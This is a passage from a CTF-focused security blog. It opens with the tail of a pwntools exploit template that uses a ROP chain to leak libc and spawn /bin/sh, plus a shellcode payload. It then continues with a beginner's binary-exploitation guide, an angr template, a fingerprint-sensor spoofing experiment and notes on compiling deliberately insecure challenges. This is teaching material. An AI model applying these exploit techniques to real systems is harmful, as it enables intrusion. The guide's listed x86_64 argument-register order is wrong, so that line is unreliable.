p.recvuntil(</span><span class="sh">'</span><span class="s">MESSAGE</span><span class="se">\n</span><span class="sh">'</span><span class="s">)
p.sendline(OFFSET + rop1.chain())

# Grab the first 8 bytes of our output buffer
leaked_puts = p.recvuntil(</span><span class="sh">'</span><span class="se">\n</span><span class="sh">'</span><span class="s">)[:8].strip().ljust(8, b</span><span class="sh">'</span><span class="se">\x00</span><span class="sh">'</span><span class="s">)
# Convert to integer
leaked_puts = struct.unpack(</span><span class="sh">'</span><span class="s">Q</span><span class="sh">'</span><span class="s">, leaked_puts)[0]
# Rebase libc to the leaked offset
libc.address = leaked_puts - libc.symbols[</span><span class="sh">'</span><span class="s">puts</span><span class="sh">'</span><span class="s">]
log.info(</span><span class="sh">'</span><span class="s">Libc address: {}</span><span class="sh">'</span><span class="s">.format(hex(libc.address)))

# Create new ROP object with rebased libc
rop2 = ROP(libc)
# Call system(</span><span class="sh">'</span><span class="s">/bin/sh</span><span class="sh">'</span><span class="s">)
rop2.system(next(libc.search(b</span><span class="sh">'</span><span class="s">/bin/sh</span><span class="se">\x00</span><span class="sh">'</span><span class="s">)))
print(rop2.dump())

p.recvuntil((</span><span class="sh">'</span><span class="s">MESSAGE</span><span class="se">\n</span><span class="sh">'</span><span class="s">))
p.sendline(b</span><span class="sh">'</span><span class="s">B</span><span class="sh">'</span><span class="s">*40 + rop2.chain())
</span><span class="sh">'''</span>


<span class="c1">## Shellcode ##
</span><span class="sh">'''</span><span class="s">
shellcode = b</span><span class="sh">'</span><span class="se">\xCC</span><span class="sh">'</span><span class="s"> + s3
padding_size = 1111
full_payload =  b</span><span class="sh">"</span><span class="se">\x90</span><span class="sh">"</span><span class="s">*(padding_size-len(shellcode)) + shellcode+ b</span><span class="sh">"</span><span class="s">ZBBBBBBB</span><span class="sh">"</span><span class="s"> + p64(address+23)
p.sendline(full_payload)
</span><span class="sh">'''</span>

</code></pre></div></div>]]></content><author><name>Arjan Vreugdenhil</name></author><category term="Pwn" /><category term="Template" /><summary type="html"><![CDATA[This post contains the last update of my pwntools template. It is used as a starting point for solving CTF pwn challenges.]]></summary></entry><entry><title type="html">A noobs guide to binary exploitation</title><link href="https://vreugdenhil.dev/pwn_guide/" rel="alternate" type="text/html" title="A noobs guide to binary exploitation" /><published>2021-01-05T00:00:00+01:00</published><updated>2021-01-05T00:00:00+01:00</updated><id>https://vreugdenhil.dev/pwn_guide</id><content type="html" xml:base="https://vreugdenhil.dev/pwn_guide/"><![CDATA[<p>As much as I’d like to make the ultimate guide to binary exploitation, there are people that have done much better than I can hope to achieve. However, one thing I struggled with was finding those resources. More than I realized, even. When I was starting out with CTFs, I did most of the PicoCTF binary exploitation challenges and thought I could do it all. Then I did a proper CTF and got a grand total of 0 points. The amazing fellow players pointed my nose in the right direction, and I’d like to do that for you as well.</p>

<p>Though it might be written like one, this is not a chronological guide. There are too many (amazing) resources out there that all overlap, making it near impossible. So feel free to go on a tangent with a course you like, and come back whenever you feel like it.</p>

<p>You can find a list with well-known CTFs and wargames at the bottom of this page.</p>

<!--more-->

<h2 id="baby-steps">Baby steps</h2>

<p>Most of the binary exploitation challenges you’ll encounter at first are written in C. You’d do well getting a grasp at that first. If you don’t (fully) understand pointers yet, that should be a priority. An understanding of function pointers will also greatly help in understanding pwn challenges.</p>

<p>An understanding of the stack is even more critical. Understand the difference between Von Neumann and Harvard architectures. You can find a diagram of the stack in the pwn/rev cheat sheet on this blog.</p>

<p>Besides being the superior OS family (I use Arch btw), it is very useful to know your way around Linux. If you need a quick refresher on common Linux syntax, <a href="https://overthewire.org/wargames/bandit/">OTW Bandit</a> is an excellent resource.</p>

<p>In many CTFs you will find both the source code and the binary. I still recommend dipping your feet into x86 and x86_64 assembly because this gives insight in how functions are called, and how data is passed around.</p>

<h2 id="aslr">ASLR</h2>

<p>We haven’t even started, and we already have a frenemy. Address Space Layout Randomization (ASLR) was made to stop us from doing what we’re about to do. If a system has ASLR enabled, <a href="https://www.ret2rop.com/2018/08/can-we-bruteforce-aslr.html">it will be difficult to impossible</a> to jump to a specific place in the code. When starting out, we’ll want to turn it off. Wargames like PicoCTF and OverTheWire have already done that for us.</p>

<p>If you want to test locally without ASLR, you can write a 0 to <code class="language-plaintext highlighter-rouge">/proc/sys/kernel/randomize_va_space</code> to disable it. Note that this is per OS. Applying this in a VM will not affect the host machine. Applying this on the host machine <strong>will</strong> affect all (Docker) containers running on it.</p>

<h2 id="piepic">PIE/PIC</h2>

<p>“Oh no not another security measure.” Yes, another security measure. We have plenty more where this came from. Position-independent executable or code, (PIE/PIC) is similar to ASLR in that it makes predicting memory locations harder. But the way it achieves it is very different. PIE is tied to the architecture. So while ASLR is system-wide, PIE is defined per binary. The core of what PIE does, is store bits (haha) of the binary with an offset, instead of with fixed addresses. <a href="https://securityetalii.es/2013/02/03/how-effective-is-aslr-on-linux-systems/">Non-PIE binaries do not benefit from ASLR</a>.</p>

<h2 id="starting-with-x86-bof">Starting with x86 BOF</h2>

<p>To understand buffer overflow exploits, you should first understand buffers; how they are stored on the stack; and how C handles strings for example. With those concepts, you will understand how a buffer overflow will write to parts of memory where it shouldn’t.</p>

<p>You will understand that this overflow might cause some local variables to be overwritten. (Including a stack canary. More on that later.)</p>

<p>It can also overwrite the previous instruction pointer, and this can be used to jump to any location in memory of your choosing. (Which may be less useful than you thought. More on NX and R^W later)</p>

<p>You can find information on all this in the usual places (StackOverflow, Wikipedia, or search on DuckDuckGo). Look the difference between gets() and fgets() (<a href="https://linux.die.net/man/3/gets">https://linux.die.net/man/3/gets</a>). LiveOverflow explains it very well in <a href="https://www.youtube.com/watch?v=T03idxny9jE">https://www.youtube.com/watch?v=T03idxny9jE</a> and <a href="https://www.youtube.com/watch?v=8QzOC8HfOqU">https://www.youtube.com/watch?v=8QzOC8HfOqU</a></p>

<p>Test your knowledge with one or more of the following:</p>

<ul>
  <li><a href="https://2019game.picoctf.com/">https://2019game.picoctf.com/</a> OverFlow 0, 1 and 2;</li>
  <li><a href="https://ropemporium.com/challenge/ret2win.html">https://ropemporium.com/challenge/ret2win.html</a>;</li>
  <li><a href="https://pwnable.kr/play.php">https://pwnable.kr/play.php</a> Toddler’s bottle - bof</li>
</ul>

<p>Try doing it by hand before moving on to tools that automate the job for you. When you’re doing more CTFs, it will be helpful to automate things. But you should understand, and be able to manually do buffer overflow exploits first.</p>

<h2 id="shellcode-and-dep-nx-rx">Shellcode and DEP, NX, R^X</h2>

<p>At this point, you might also be interested in writing shellcode. A skill you should have is using other peoples shellcode. <a href="http://shell-storm.org/shellcode/">Shell-storm</a> is an excellent resource for prewritten shellcode.</p>

<p>PicoCTF 2019 has good shellcode challenges. LiveOverflow has a good explanation once again: <a href="https://www.youtube.com/watch?v=HSlhY4Uy8SA">https://www.youtube.com/watch?v=HSlhY4Uy8SA</a>. Be careful here. NX might make your life difficult.</p>

<p>With the exception of challenges that are specifically made for shellcode, you won’t be able to simply write your code into the stack and run it. The concept of Read XOR Execute (R^X) tells us any part of memory should only ever be readable, or executable, but not both. A binary might have the NX security feature enabled. This means that the stack will not be executable. Your precious shellcode on the stack is now useless.</p>

<h2 id="ropping">Ropping</h2>

<p>Now that you can call one function, you can call many. (You know more than you think!) The trick is to keep going after you’ve made one call. Do <a href="https://ropemporium.com/challenge/callme.html">This ROP Emporium challenge</a> to learn all about that. It should set you right up for the more complicated ropping with x86_64.</p>

<p>Now that you understand why buffer overflows work, and how ropping works, you can start to automate it. Maybe brush up on your Python (3!!) a bit, and try doing all the BOF challenges you’ve done up until now, with Pwntools. You already know the lengths of the padding you need so just let Pwntools do the address crafting instead of manually &amp; with struct.pack().</p>

<h2 id="moving-on-to-x86_64">Moving on to x86_64</h2>

<p>With callme challenges, the core concept stays the same when moving from x86 to x86_64. The main thing to watch out for is the size of EBP and EIP.</p>

<p>Test your knowledge in <a href="https://2019game.picoctf.com/">https://2019game.picoctf.com/</a> for example, in the challenge NewOverFlow 1.</p>

<p>To do more than the simplest callme, you will have to understand how x86_64 handles arguments. Where they used to be stored on the stack, they’re now moved to registers. Always in the order or RSI, RDI, RSI, RDX, R8, R9. This is just something that is, and you’ll learn it by heart if you use it enough. If you have more arguments than this, they will be stored onto the stack.</p>

<p>The first few arguments cannot be directly changed with a buffer overflow. For that, we will need gadgets.</p>

<p>Test your knowledge in <a href="https://2019game.picoctf.com/">https://2019game.picoctf.com/</a> for example, in the challenge NewOverFlow 2. Or with the 64 bits version of <a href="https://ropemporium.com/challenge/callme.html">ROP Emporiums callme</a>.</p>

<p>One thing you will likely trip over is the MOVAPS issue. Remember that for the next time you’ve made an exploit, you’re debugging it and everything seems to work but then it inexplicably fails. <a href="https://ropemporium.com/guide.html">ROPEmporium explains it well</a>.</p>

<h2 id="libc-plt-got">Libc, PLT, GOT</h2>

<p>This is the part that I struggled with most, because I didn’t know it was a thing. But it’s also the part that will get you the furthest in CTFs once you do understand it.</p>

<p><a href="https://www.youtube.com/watch?v=kUk5pw4w0h4">This video is a good primer</a>. Note the part about ASLR. That is exploited in <a href="https://youtu.be/6S4A2nhHdWg">this video</a> by IppSec. Do feel free to reference it when trying to exploit your own first ret2libc. If you prefer written form instead of videos, follow <a href="https://made0x78.com/bseries-ret2libc/">this article</a></p>

<h2 id="canaries">Canaries</h2>

<p>“With ROP, nothing can stop us. Not even NX!” Hold your horses, dear friend. Let me introduce you to stack canaries. Just like the original canaries down in the mines, stack canaries warn when something goes horribly wrong. But this time it’s not problems with air, but problems with the stack. At compile time, the compiler will place a variable right after a buffer, or at least right before the EBP. Before exiting the function, the code will compare that variable to a value stored in a register. If it does not match, it will tell you <code class="language-plaintext highlighter-rouge">*** stack smashing detected ***</code> and exit out. There is usually very little you can do about this. Maybe try a format string exploit instead.</p>

<h2 id="format-string">Format string</h2>

<p>A format string exploit is the less well-known cousin of the buffer overflow exploit. But it can be just as fatal. <a href="https://www.youtube.com/watch?v=0WvrSfcdq1I">LiveOverflow explains it very well</a>. It’s still a lot to take in though, so don’t worry if you need to go through it a couple of times.</p>

<p>The TL;DR of Format string exploits is as follows. If you control the first argument to printf(), you can leak information with <code class="language-plaintext highlighter-rouge">%x</code>, or you can write to arbitrary locations in memory with <code class="language-plaintext highlighter-rouge">%n</code>.</p>

<h2 id="relro">RELRO</h2>

<p>Relocation read-only (RELRO) is a security measure pertaining to the Global Offset Table. I’ve not come across this feature in the more basic, beginner friendly CTFs. But it is something to watch out for if you suspect that the solution to a challenge is related to maliciously writing a value into the GOT.</p>

<h2 id="heap">Heap</h2>

<p>If you’ve come this far, you understand the stack very well, so you probably also understand the heap. To learn more about exploiting the heap, you can turn to <a href="https://www.youtube.com/watch?v=TfJrU95q1J4">LiveOverflow</a>.</p>

<h2 id="seccomp">Seccomp</h2>

<p>The first time I encountered a binary with seccomp, I had never heard of it yet. I had crafted the perfect exploit, but right at the syscall, it would crash. I tried many different pieces of shellcode, they all ran perfectly until the syscall was made to retrieve the flag. It turned out that <a href="https://en.wikipedia.org/wiki/Seccomp">those syscalls were explicitly disallowed</a>.</p>

<p>If you want to play around with seccomp and writing shellcode, try <a href="https://pwnable.kr/play.php">Toddler’s bottle - asm</a>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Well done, you’ve won.</p>

<p>I’m kidding of course, but at this point I hope that you won’t need this page anymore. Now that you know about these core concepts, it is time to practice finding where to apply them, and then doing it.</p>

<p>Okay then, one last link. <a href="https://ctftime.org">https://ctftime.org</a>.</p>

<p>Love, Bangedaon.</p>

<p> </p>

<h2 id="further-training">Further training</h2>

<ul>
  <li><a href="https://overthewire.org/wargames/krypton/">https://overthewire.org/wargames/krypton/</a></li>
  <li><a href="https://microcorruption.com/about">https://microcorruption.com/about</a></li>
  <li><a href="https://smashthestack.org/wargames.html">https://smashthestack.org/wargames.html</a></li>
  <li><a href="https://ctf.j0n9hyun.xyz/">https://ctf.j0n9hyun.xyz/</a></li>
  <li><a href="https://pwnable.kr">https://pwnable.kr</a></li>
  <li><a href="https://pwnable.xyz">https://pwnable.xyz</a></li>
  <li><a href="https://pwnable.tw">https://pwnable.tw</a></li>
  <li><a href="https://exploit.education/">https://exploit.education/</a></li>
</ul>

<h2 id="other-ctfbinary-analysis-and-exploitation-related-resources">Other CTF/binary analysis and exploitation related resources</h2>

<ul>
  <li><a href="https://cryptopals.com">https://cryptopals.com</a></li>
  <li><a href="https://github.com/sajjadium/CTFium">https://github.com/sajjadium/CTFium</a></li>
  <li><a href="https://247ctf.com/">https://247ctf.com/</a></li>
  <li>Hackthebox</li>
  <li>Tryhackme</li>
  <li>Metasploitable</li>
  <li>DVWA</li>
  <li><a href="https://app.cybrary.it">https://app.cybrary.it</a> (Paid)</li>
  <li><a href="https://malwareunicorn.org/#/workshops">https://malwareunicorn.org/#/workshops</a></li>
  <li><a href="https://class.malware.re/">https://class.malware.re/</a></li>
  <li><a href="https://opensecuritytraining.info/Training.html">https://opensecuritytraining.info/Training.html</a></li>
  <li><a href="https://github.com/wtsxDev/reverse-engineering">https://github.com/wtsxDev/reverse-engineering</a></li>
  <li><a href="https://maxkersten.nl/binary-analysis-course/">https://maxkersten.nl/binary-analysis-course/</a></li>
</ul>]]></content><author><name>Arjan Vreugdenhil</name></author><category term="Pwn" /><category term="Introduction" /><summary type="html"><![CDATA[As much as I’d like to make the ultimate guide to binary exploitation, there are people that have done much better than I can hope to achieve. However, one thing I struggled with was finding those resources. More than I realized, even. When I was starting out with CTFs, I did most of the PicoCTF binary exploitation challenges and thought I could do it all. Then I did a proper CTF and got a grand total of 0 points. The amazing fellow players pointed my nose in the right direction, and I’d like to do that for you as well. Though it might be written like one, this is not a chronological guide. There are too many (amazing) resources out there that all overlap, making it near impossible. So feel free to go on a tangent with a course you like, and come back whenever you feel like it. You can find a list with well-known CTFs and wargames at the bottom of this page.]]></summary></entry><entry><title type="html">Angr template</title><link href="https://vreugdenhil.dev/angr_template/" rel="alternate" type="text/html" title="Angr template" /><published>2021-01-01T00:00:00+01:00</published><updated>2022-11-20T00:00:00+01:00</updated><id>https://vreugdenhil.dev/angr_template</id><content type="html" xml:base="https://vreugdenhil.dev/angr_template/"><![CDATA[<p>This post describes both how to set up an Angr environment for solving CTF reversing challenges as well as a template to use.</p>

<!--more-->

<h2 id="setting-up">Setting up</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt-get <span class="nb">install </span>python3-dev libffi-dev build-essential virtualenvwrapper
mkvirtualenv <span class="nt">--python</span><span class="o">=</span><span class="si">$(</span>which python3<span class="si">)</span> angr <span class="o">&amp;&amp;</span> pip <span class="nb">install </span>angr
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 <span class="nt">-m</span> venv angr
<span class="nb">source </span>angr/bin/activate
python3 <span class="nt">-m</span> pip <span class="nb">install </span>angr
</code></pre></div></div>

<h2 id="template">Template</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">angr</span>
<span class="kn">import</span> <span class="n">claripy</span>
<span class="kn">import</span> <span class="n">logging</span>
<span class="c1">#logging.getLogger('angr').setLevel('INFO')
</span>
<span class="n">start_address</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">success_address</span> <span class="o">=</span> <span class="mi">0</span>

<span class="n">base_address</span> <span class="o">=</span> <span class="mh">0x0</span>
<span class="n">input_length</span> <span class="o">=</span> <span class="mi">8</span>

<span class="n">input_chars</span> <span class="o">=</span> <span class="p">[</span><span class="n">claripy</span><span class="p">.</span><span class="nc">BVS</span><span class="p">(</span><span class="sh">'</span><span class="s">input_%d</span><span class="sh">'</span> <span class="o">%</span> <span class="n">i</span><span class="p">,</span> <span class="mi">8</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="n">input_length</span><span class="p">)]</span>
<span class="n">program_input</span> <span class="o">=</span> <span class="n">claripy</span><span class="p">.</span><span class="nc">Concat</span><span class="p">(</span> <span class="o">*</span><span class="n">input_chars</span> <span class="o">+</span> <span class="p">[</span><span class="n">claripy</span><span class="p">.</span><span class="nc">BVV</span><span class="p">(</span><span class="sa">b</span><span class="sh">'</span><span class="se">\n</span><span class="sh">'</span><span class="p">)])</span> 

<span class="n">p</span> <span class="o">=</span> <span class="n">angr</span><span class="p">.</span><span class="nc">Project</span><span class="p">(</span><span class="sh">"</span><span class="s">./src/binary</span><span class="sh">"</span><span class="p">,</span> <span class="n">main_opts</span><span class="o">=</span><span class="p">{</span><span class="sh">'</span><span class="s">base_addr</span><span class="sh">'</span><span class="p">:</span> <span class="n">base_address</span><span class="p">})</span>

<span class="n">state</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">factory</span><span class="p">.</span><span class="nf">entry_state</span><span class="p">(</span>
        <span class="n">args</span><span class="o">=</span><span class="p">[</span><span class="sh">'</span><span class="s">./src/binary</span><span class="sh">'</span><span class="p">],</span>
        <span class="n">add_options</span><span class="o">=</span><span class="n">angr</span><span class="p">.</span><span class="n">options</span><span class="p">.</span><span class="n">unicorn</span><span class="p">,</span>
        <span class="n">stdin</span><span class="o">=</span><span class="n">program_input</span><span class="p">,</span>
        <span class="n">addr</span><span class="o">=</span><span class="n">start_address</span>
<span class="p">)</span>

<span class="c1">#state.options.add(angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS)
#state.options.add(angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY)
</span>
<span class="c1"># Has to be printable characters
</span><span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">input_chars</span><span class="p">:</span>
    <span class="n">state</span><span class="p">.</span><span class="n">solver</span><span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="n">k</span> <span class="o">&lt;=</span> <span class="nf">ord</span><span class="p">(</span><span class="sh">'</span><span class="s">~</span><span class="sh">'</span><span class="p">))</span>
    <span class="n">state</span><span class="p">.</span><span class="n">solver</span><span class="p">.</span><span class="nf">add</span><span class="p">(</span><span class="n">k</span> <span class="o">&gt;=</span> <span class="nf">ord</span><span class="p">(</span><span class="sh">'</span><span class="s">!</span><span class="sh">'</span><span class="p">))</span>

<span class="n">sm</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">factory</span><span class="p">.</span><span class="nf">simulation_manager</span><span class="p">(</span><span class="n">state</span><span class="p">)</span>

<span class="c1">#sm.explore(find=success_address, avoid=avoid_address)
#sm.explore(find=success_address)
#sm.explore(find=lambda s: b"Thanks!" in s.posix.dumps(1))
</span>
<span class="nf">if </span><span class="p">(</span><span class="nf">len</span><span class="p">(</span><span class="n">sm</span><span class="p">.</span><span class="n">found</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">found</span> <span class="ow">in</span> <span class="n">sm</span><span class="p">.</span><span class="n">found</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="n">found</span><span class="p">.</span><span class="n">posix</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="mi">0</span><span class="p">))</span>
        <span class="nf">print</span><span class="p">(</span><span class="n">sm</span><span class="p">.</span><span class="n">found</span><span class="p">.</span><span class="nf">__str__</span><span class="p">())</span>
<span class="k">else</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">not found</span><span class="sh">"</span><span class="p">)</span>

<span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">done</span><span class="sh">"</span><span class="p">)</span>
</code></pre></div></div>]]></content><author><name>Arjan Vreugdenhil</name></author><category term="Reversing" /><category term="Template" /><summary type="html"><![CDATA[This post describes both how to set up an Angr environment for solving CTF reversing challenges as well as a template to use.]]></summary></entry><entry><title type="html">Hacking fingerprints</title><link href="https://vreugdenhil.dev/hacking_fingerprints/" rel="alternate" type="text/html" title="Hacking fingerprints" /><published>2021-01-01T00:00:00+01:00</published><updated>2021-01-01T00:00:00+01:00</updated><id>https://vreugdenhil.dev/hacking_fingerprints</id><content type="html" xml:base="https://vreugdenhil.dev/hacking_fingerprints/"><![CDATA[<p>One of my favorite tv shows ever is Mr Robot. It is commonly praised for its remarkably realistic hacks. But despite my eternal love for it, and the realism of a lot of the hacks, I had many questions when I did my 4th rewatch of the series. In S4E5, Darlene and Elliot break into Virtual Realty. Through a combination of social engineering, and technical attacks on physical security systems, they get into the server room. Most of this was done in the 40 minutes that their hack on the security cameras allowed them.</p>

<p>A lot of things had to go exactly right, and I felt it was time to either prove or debunk parts of this hack. I’m not the first to analyse this hack. <a href="https://www.vice.com/en/article/vb58mx/a-roundtable-of-hackers-dissects-mr-robot-season-4-episode-5-method-not-allowed">Vice</a> has analyzed many parts of it. <a href="https://www.reddit.com/r/MrRobot/comments/dy8br6/plausibility_of_the_fingerprint_hack_in_4x05/">A thread on Reddit</a> showed some doubts about the fingerprint hack. But a similar attack <a href="https://www.theverge.com/2019/4/7/18299366/samsung-galaxy-s10-fingerprint-sensor-fooled-3d-printed-fingerprint">has been pulled off</a> before.</p>

<!--more-->

<p>My main doubts are as follows.</p>

<ul>
  <li>40 minutes seems like too little time, even with prep.</li>
  <li>Going for a full-on social engineering attack is bold, even for Elliot and Darlene.</li>
  <li>What kind of putty was used? Did Elliot and Darlene know what type of scanner there would be?</li>
</ul>

<p>Other remarks that I will not be following up on are: (Please do investigate, if you have the time)</p>

<ul>
  <li>The print had a lot of detail. Could that printer handle that? if so, how long should that print take?</li>
  <li>The mold they printed was big and concave. What is the reason for that?</li>
</ul>

<h2 id="types">Types</h2>

<p>Common types of scanners I’ve come across online are:</p>

<ul>
  <li>optical</li>
  <li>capacitive</li>
  <li>ultrasonic</li>
</ul>

<p>We don’t get a good look at the scanners surface. It is not unlikely that it is of the optical variety, as this technology has been in use for quite long. More modern scanners are capacitive, like in my phone and laptop. Ultrasonic scanners are popping up more and more, as this technology can be hidden underneath smartphone screens.</p>

<h2 id="mold">Mold</h2>

<p>To make my mold, I took the following steps.</p>

<p>First of all, I made a scan of my fingerprint. To give myself the best chance, I applied ink to my index finger and placed it on some paper. Be liberal with ink, and don’t apply too much pressure or details might get lost. I scanned with 600 dpi in color.</p>

<p>I then took this image, and used paint dot net to extract just the print. The easiest way to do so is by cropping and resizing to smaller than 1000*1000 pixels, then converting to grayscale and then adjusting the curves so the image is black and white with all the important ridges, and without any noise where the ridges are not.</p>

<p>I do not know yet if it is more important to get all the ridges, or if it is more important to get rid of all the noise.</p>

<p>The 1000*1000 pixel limit is because of a limitation in TinkerCAD, which will be used later on in the process.</p>

<p>Take the extracted fingerprint, and import it in gimp. Select all the white, invert, and make a path from this selection. Then enable the path window, right click on this path, and export it as an svg file.</p>

<p>Import the svg in a new tinkercad project. Make sure it’s a private one.</p>

<p>Do not forget to invert the model where necessary. (this might be more complicated than I first realized. Consider not inverting the selection in Gimp; inverting the print by pulling one corner over the other; or using the imported fingerprint as additive, or as a hole inside a block.)</p>

<p>I printed the mold on an Anet 8A plus, with 123-3d Jupiter black PLA. The print was made with a .06 mm resolution, 210 degree extruder, 60 degree bed, with the fan at 100%. No adhesion had to be printed. The print took 1 hour and 22 minutes.</p>

<h2 id="material">Material</h2>

<p>My laptop and phone both use capacitive sensors. Breathing at my phone’s activates it. Hot glue on the other hand, does not. So there goes my material of choice.</p>

<p>After hot glue, I considered a mixture of flour and water. Don’t judge me, it was Sunday night and I didn’t have many options. To everyones surprise, it was a huge failure. It was too sticky and too elastic to maintain the print. It did manage to activate the sensor, so my theory of ‘it activates when water’ held up.</p>

<p>The next day I went to the supermarket, and picked up some chewing gum and putty. First of all, I tested each for their capacitive characteristics. While they both activated the phones sensor, the putty didn’t do a great job. It only worked if I pressed it hard onto the phones sensor and on the laptop it didn’t work at all. Grabbing the print from the mold and using that on the phone was unsuccessful.</p>

<p>Seeing how the pressure affected the ‘saved’ print, It is doubtful that having a full mold of the finger would help. As opposed to just a 2d rectangle with the print pressed into it. To get enough of the surface onto the scanner, a lot of pressure would have to be applied that the center would start losing a lot of detail.</p>

<p>The chewing gum was even worse. While it did do a better job at being detected, it was too sticky and too stretchy to keep the print.</p>

<h2 id="conclusion">Conclusion</h2>

<p>While we haven’t managed to break into a phone or laptop, I still consider this research a success. We’ve all but debunked at least the timeline in Mr Robot. I hope this post also inspires you to continue this research.</p>

<h2 id="what-other-people-say">what other people say</h2>

<p>More context on the episode: <a href="https://www.forbes.com/sites/kateoflahertyuk/2019/11/04/mr-robot-season-4-episode-5-a-spectacular-hack-in-three-parts/">https://www.forbes.com/sites/kateoflahertyuk/2019/11/04/mr-robot-season-4-episode-5-a-spectacular-hack-in-three-parts/</a></p>

<p>Praise for this episode as realistic: <a href="https://www.spoilertv.com/2019/11/mr-robot-405-not-found-review.html">https://www.spoilertv.com/2019/11/mr-robot-405-not-found-review.html</a></p>]]></content><author><name>Arjan Vreugdenhil</name></author><category term="Misc" /><summary type="html"><![CDATA[One of my favorite tv shows ever is Mr Robot. It is commonly praised for its remarkably realistic hacks. But despite my eternal love for it, and the realism of a lot of the hacks, I had many questions when I did my 4th rewatch of the series. In S4E5, Darlene and Elliot break into Virtual Realty. Through a combination of social engineering, and technical attacks on physical security systems, they get into the server room. Most of this was done in the 40 minutes that their hack on the security cameras allowed them. A lot of things had to go exactly right, and I felt it was time to either prove or debunk parts of this hack. I’m not the first to analyse this hack. Vice has analyzed many parts of it. A thread on Reddit showed some doubts about the fingerprint hack. But a similar attack has been pulled off before.]]></summary></entry><entry><title type="html">Making pwn challenges</title><link href="https://vreugdenhil.dev/making_pwn_challs/" rel="alternate" type="text/html" title="Making pwn challenges" /><published>2021-01-01T00:00:00+01:00</published><updated>2021-01-01T00:00:00+01:00</updated><id>https://vreugdenhil.dev/making_pwn_challs</id><content type="html" xml:base="https://vreugdenhil.dev/making_pwn_challs/"><![CDATA[<p>This is a collection of tips and tricks I have discovered in my working for FHICTF.</p>

<h2 id="external-sources">External sources</h2>

<p><a href="https://github.com/pwning/docs/blob/master/suggestions-for-running-a-ctf.markdown">https://github.com/pwning/docs/blob/master/suggestions-for-running-a-ctf.markdown</a></p>

<h2 id="buffers">Buffers</h2>

<p>The “Suggestions for running a ctf” by PPP suggested using either xinetd or fork/accept in the binary itself for running remote challenges. When I joined FHICTF, there was one example pwn challenge, which used socat in docker. Because this seemed to work fine, I have not yet looked into the differences and possible problems with our approach.</p>

<p>One issue we have had was that when doing the challenge, netcat would not receive any data until the connection closed. Then it would suddenly flood the terminal.</p>

<p>This is what we used in the dockerfile:</p>

<!--more-->

<div class="language-Dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">ENTRYPOINT</span><span class="s"> socat TCP-LISTEN:8080,reuseaddr,fork EXEC:"./challenge_format"</span>
</code></pre></div></div>

<p>The solution I found was to use a setvbuf in main().</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">vuln</span><span class="p">();</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Exiting!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h2 id="makefile-and-gcc-flags">Makefile and GCC flags</h2>

<p>To keep the binaries consistent, and to avoid issues with 32 bits vs 64 bits libraries, we build the challenges inside of docker.</p>

<p>For rev challs, consider running <code class="language-plaintext highlighter-rouge">strip $(TARGET)</code> after GCC.</p>

<p>TODO: explain all relevant flags</p>

<div class="language-make highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">TARGET</span><span class="o">=</span>challenge_format

<span class="nv">INCLUDEFLAGS</span><span class="o">=</span><span class="nt">-Isrc</span> <span class="nt">-Iinclude</span> <span class="nt">-Iinclude</span>/interfaces 
<span class="nv">CXXFLAGS</span><span class="o">=</span> <span class="p">$(</span>INCLUDEFLAGS<span class="p">)</span> <span class="nt">-m32</span>
<span class="nv">CXX</span><span class="o">=</span>gcc
<span class="nv">INSECUREFLAGS</span><span class="o">=</span><span class="nt">-fno-stack-protector</span> <span class="nt">-no-pie</span>
<span class="nv">DEBUGFLAGS</span><span class="o">=</span><span class="nt">-ggdb</span> <span class="nt">-g</span> <span class="nt">-O0</span>

<span class="nv">SOURCES</span><span class="o">=</span><span class="p">$(</span>wildcard <span class="k">*</span>.c<span class="p">)</span>
<span class="nv">HEADERS</span><span class="o">=</span><span class="p">$(</span>wildcard <span class="k">*</span>.h<span class="p">)</span>

<span class="nl">.PHONY</span><span class="o">:</span> <span class="nf">all clean</span>

<span class="nl">all</span><span class="o">:</span> <span class="nf">$(TARGET)</span>

<span class="nl">$(TARGET)</span><span class="o">:</span> <span class="nf">$(SOURCES) $(HEADERS) Makefile</span>
    <span class="err">@$(CXX)</span> <span class="err">$(CXXFLAGS)</span> <span class="err">$(DEBUGFLAGS)</span> <span class="err">$(INSECUREFLAGS)</span> <span class="err">-o</span> <span class="err">$@</span> <span class="err">$(SOURCES)</span>

<span class="nl">clean</span><span class="o">:</span>
    <span class="err">@rm</span> <span class="err">$(TARGET)</span>
</code></pre></div></div>

<h2 id="docker-commands">Docker commands</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>docker build <span class="nt">-t</span> challenge_name <span class="nb">.</span>
<span class="nb">sudo </span>docker run challenge_name <span class="nt">-p</span> 8080:8080
